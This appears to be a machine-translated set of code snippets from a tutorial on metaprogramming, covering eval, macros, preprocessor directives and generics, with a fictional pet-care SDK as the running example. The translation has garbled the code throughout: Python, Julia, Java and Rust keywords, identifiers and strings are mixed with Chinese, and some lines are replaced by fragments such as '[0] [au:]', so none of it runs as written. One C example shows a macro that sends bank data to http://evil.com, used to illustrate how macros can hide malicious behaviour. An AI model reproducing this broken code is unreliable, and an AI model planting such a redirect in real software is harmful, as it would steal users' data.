import pet_sdk

cats = pet_sdk.get_cats()
print(f"Found {len(cats)} cats "!")
for cat in cats:
    pet_sdk.order_cat_food(猫,金额=猫.food_needed)

一个SDK，可以给我们关于宠物的信息-不幸的是，功能 are slightly different for each pet
import pet_sdk

#把所有的鸟、猫和狗分别放进系统
birds = pet_sdk.get_birds()
cats = pet_sdk.get_cats()
dogs = pet_sdk.get_dogs()

for cat in cats:
    打印(f)“正在检查cat {cat.name}")

    if cat.hungry():
        pet_sdk.order_cat_food(猫,金额=猫.food_needed)
    
    cat.clean_litterbox()

    if cat.sick():
        Available_vets = pet_sdk.find_vets(动物=“猫”)
        if len(available_vets) > 0:
            [0] [au:]
            vet.book_cat_appointment (cat)

for dog in dogs:
    打印(f)“检查狗的信息{狗.name}")

    if dog.hungry():
        pet_sdk.order_dog_food(狗,金额=狗.food_needed)
    
    dog.walk()

    if dog.sick():
        Available_vets = pet_sdk.find_vets(动物=“狗”)
        if len(available_vets) > 0:
            [0] [au:]
            vet.book_dog_appointment(狗)

for bird in birds:
    打印(f)“检查鸟的信息{鸟.name}")

    if bird.hungry():
        pet_sdk.order_bird_food(鸟,数量=鸟.food_needed)
    
    bird.clean_cage()

    if bird.sick():
        Available_vets = pet_sdk.find_birds(动物=“鸟”)
        if len(available_vets) > 0:
            [0] [au:]
            vet.book_bird_appointment(鸟)

import pet_sdk

All_animals = pet_sdk.Get_birds () + pet_sdk.Get_cats () + pet_sdk.get_dogs()

对于all_animals中的animal:
    # What now?

import pet_sdk

对于["cat"， "dog"， "bird"]中的动物:
    animals = pet_sdk.get_{animal}s() #当动物是“猫”，这
                                      # would be pet_sdk.get_cats()

    动物中的动物:
        pet_sdk.order_{动物}_food(动物,数量=动物.food_needed)
        当动物是“狗”时，这就是
        # pet_sdk.order_dog_food(狗,金额=狗.food_needed)

一个SDK，可以给我们关于宠物的信息-不幸的是，功能
#略有不同

import pet_sdk

def process_animal(动物):
    如果isinstance(animal, pet_sdk.Cat):
        Animal_name_type = "猫"
        Order_food_fn = pet_sdk.order_cat_food
        care_fn = animal.clean_litterbox 
    El如果isinstance(animal, pet_sdk . exe.Dog):
        Animal_name_type = "狗"
        Order_food_fn = pet_sdk.order_dog_food
        care_fn = animal.walk
    El如果isinstance(animal, pet_sdk . exe.Bird):
        Animal_name_type = "鸟"
        Order_food_fn = pet_sdk.order_bird_food
        care_fn = animal.clean_cage
    else:
        抛出TypeError("无法识别的动物。!")
    
    打印(f)“检查{animal_name_type} {animal . type}的信息。.name}")
    if animal.hungry():
        order_food_fn(动物,数量=动物.food_needed)
    
    care_fn()

    if animal.sick():
        Available_vets = pet_sdk.find_vets(动物= animal_name_type)
        if len(available_vets) > 0:
            [0] [au:]
            我们还得再检查一下它是什么类型的动物
            如果isinstance(animal, pet_sdk.Cat):
                vet.book_cat_appointment(动物)
            El如果isinstance(animal, pet_sdk . exe.Dog):
                vet.book_dog_appointment(动物)
            else:
                vet.book_bird_appointment(动物)


All_animals = pet_sdk.Get_birds () + pet_sdk.Get_cats () + pet_sdk.get_dogs()
对于all_animals中的animal:
    process_animal(动物)

函数function_that_returns_code (n)
    return :(x + $n)
end

My_code = function_that_returns_code(3)
print(my_code) #打印输出(x + 3)

x = 1
print(eval(my_code)) #输出4
x = 3
print(eval(my_code)) #输出6

#通过动态创建代码行输出“Hello Will”，“Hello Alice”
say_hi = (println("Hello， "， name))

name = "Will"
eval(say_hi)

name = "Alice"
eval(say_hi)

int main() {
#ifdef _WIN32
    这一节只会在windows上编译并运行!\n");
    windows_only_function ();
#elif __unix__
    这一节只会在unix上编译和运行!\n");
    unix_only_function ();
#endif
    无论平台如何，这一行都可以运行!\n");
    return 1;
}

从pet_sdk导入猫，狗，get_宠物

pet = get_pet()

如果isinstance(宠物，猫):
    pet.clean_litterbox()
elif isinstance(宠物，狗):
    pet.walk()
else:
    print(f“不知道如何帮助类型为{type(pet)}的宠物”)

import com.example.coordinates.*;

接口车辆{
    getName();
    public void move(double xCoord, double yCoord);
}

public class VehicleDriver {
    //这个类对任何其他类T都是有效的
    //车辆接口
    私人最终T车;

    公共车辆司机(T车辆){
        System.out.println("VehicleDriver: " + vehicle.getName());
        this.vehicle = vehicle;
    }

    public void goHome() {
        this.vehicle.移动(HOME_X HOME_Y);
    }

    public void goToStore() {
        this.vehicle.移动(STORE_X STORE_Y);
    }
    
}

macro_rules! print_and_return_if_true {
    ($val_to_check: ident, $val_to_return: expr) => {
        If ($val_to_check) {
            println!("Val为真，返回{}"，$val_to_return);
            返回val_to_return美元;
        }
    }
}

//下面的语句与对于x, y, z的语句相同，
//我们写if x {println!...}
fn example(x: bool, y: bool, z: bool) -> i32 {
    print_and_return_if_true!(x, 1);
    print_and_return_if_true!(z, 2);
    print_and_return_if_true!(y, 3);
}

macro_rules! my_macro {
    ($n) => {
        let x = $n;
    }
}

fn main() {
    let x = 5;
    my_macro!(3);
    println!("{}", x);
}

fn main() {
    let x = 5;
    let x = 3; // This is what my_macro!(3) expanded into
    println!("{}", x);
}

#define EVIL_MACRO网站="http://evil.com";

int main() {
    Char *website = "http://good ..com";
    EVIL_MACRO
    send_all_my_bank_data_to(网站);
    return 1;
}

birds = pet_sdk.get_birds()
cats = pet_sdk.get_cats()
dogs = pet_sdk.get_dogs()

for cat in cats:
    # Cat特定代码
for dog in dogs:
    #狗专用代码
# etc…

{animal}s = pet_sdk.get{animal}s()
对于{animal}中的{animal}:
    #{动物}特定代码

using pet_sdk

(宠物,care_fn) =((“猫”:clean_litterbox)(“狗”:walk_dog)(“狗”:clean_cage))
    get_pets_fn = Meta.parse("pet_sdk.get_${pet}s")
    @eval begin
        本地动物= $get_pets_fn() #pet_sdk.pet_sdk get_cats ().get_dogs(), etc.
        动物中的动物
            animal.$care_fn # animal.clean_litterbox(),动物.walk_dog(), etc.
        end
    end
end